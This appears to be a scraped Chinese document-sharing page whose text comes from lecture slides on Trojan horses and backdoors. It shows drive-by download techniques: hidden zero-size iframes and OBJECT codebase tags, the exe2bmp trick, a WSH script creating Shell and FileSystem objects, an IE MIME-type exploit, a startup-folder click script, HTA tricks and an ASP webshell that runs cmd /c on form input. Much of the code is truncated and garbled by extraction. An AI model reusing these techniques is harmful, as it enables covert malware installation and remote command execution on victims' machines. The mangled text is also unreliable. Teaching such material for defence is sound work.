5-back-door(編輯修改稿)
2024-08-31 08:13 本頁面
【文章內容簡介】 NAME=39。X39。 CLASSID=39。CLSID:1111111111111111111111111111112339。 wight =0 height =0 CODEBASE=39。39。 or OBJECT Width=0 Height=0 style=display:none。 TYPE=application/xoleobject CODEBASE= ? Easy CHM or Quick chm 把 2022/8/21 35 exe2bmp ? exe2bmp可以將一個 .exe可執(zhí)行文件生成同名的 .bmp、 .asp、 .htm三個文件 。 將這三個文件放到支持 ASP的空間里邊 ， 當別人打開 . htm網頁文件的時候 ， 先前的 .exe木馬將被自動下載到對方的硬盤并運行 。 ? For example ? produce:。 。 2022/8/21 36 ? html ? head ? /head ? body ? 數據裝載中，可能需要 10秒至 30秒 ............ ? IMG SRC= width=0 height=0 ? object data= width=0 height=0 ? /object ? /body ? /html 2022/8/21 37 ? 1在 cache中尋找 ? 2把 bmp還原為 exe ? 3執(zhí)行 exe 2022/8/21 38 正常網頁中攜帶 ? iframe src= width=0 height=0 frameborder=0/IFRAME ? ? Onload, onerror ? meta equiv=“refresh” content=“0。 URL= ? object data=“ width=0 height=0 ? OBJECT Width=0 Height=0 style=display:none。 TYPE=application/xoleobject CODEBASE= 2022/8/21 39 網頁病毒、網頁木馬的原理 ? ： JS+WSH ? 錯誤的 MIME Multipurpose Inter Mail Extentions， 多用途的網際郵件擴充協(xié)議頭 . ? EXE to .BMP + ? iframe 漏洞的利用 ： 父窗口能在子域環(huán)境下運行腳本代碼，包括任意的惡意代碼 ? 通過安全認證的 CAB,COX ? EXE文件的捆綁 2022/8/21 40 ? Function destroy(){try ? { ? a1=[0]。 ? ({F935DC221CF011D0ADB900C04FD58A0B})。 ? ()。 Shl = ()。 ? ({0D43FE01F09311CF894000A0C9054228})。 ? ()。 FSO = ()。 ? ({F935DC261CF011D0ADB900C04FD58A0B})。 ? ()。 Net = ()。 ? try { ? do something。 }} ? catch(e) {} } ? catch(e) {} } ? function do() ? { ? setTimeout(destroy(), 1000)。 //設定運行時間 1秒 ? } ? do() //壞事執(zhí)行函數指令 2022/8/21 41 錯誤的 MIME Multipurpose Inter Mail Extentions ? ContentType: multipart/related。 type=multipart/alternative“。 boundary=”====B====“ ====B==== ContentType: multipart/alternative。 boundary=”====A====“ ====A==== ContentType: text/html。 ContentTransferEncoding: quotedprintable ====A==== ====B==== ContentType: audio/xwav。 name=”“ 可以改為其他腳本文件 ContentTransferEncoding: base64 ContentID: 以下省略 AAAAA N+1個 當申明郵件 的類型為audio/xwav時， IE存在的一個漏洞會將附件認為是音頻文件自動嘗試打開 2022/8/21 42 iframe ? 〈 iframe src= width=0 height=0〉〈 /iframe〉 2022/8/21 43 ? html ? body ? a href=shell:startup id=clientcallstartup/a ? script language=JavaScript type=text/javascript ? (clientcall).click() ? /script ? /body ? /html 2022/8/21 44 HTA的全名為 HTML Application ? HTA:APPLICATION windowState=minimize showInTaskBar=no border=none caption=no ? 參見 2022/8/21 45 各種溢出型漏洞 ? iframe溢出 ? COM對象堆溢出漏洞 2022/8/21 46 木馬的發(fā)展 ? 加入 Rootkit,隱藏文件 /端口 /服務 /進程等 ? HTTP隧道 ? HyDan(把信息隱藏在二進制文件中 ) ? …… 2022/8/21 47 % On Error Resume Next% %Set oScript = ()% %Set oFileSys = ()% %cmd = (.CMD)% %If (cmd ) Then% %szTempFile = C:\\ amp。 ( )% %Call ( /c amp。 cmd amp。 amp。 szTempFile, 0, True)% %Set oFile = (szTempFile, 1, False, 0)% %End If % FORM action=%= (URL) % method=POST input type=text name=.CMD size=45 value=%=
研究報告相關推薦
鄂ICP備17016276號-1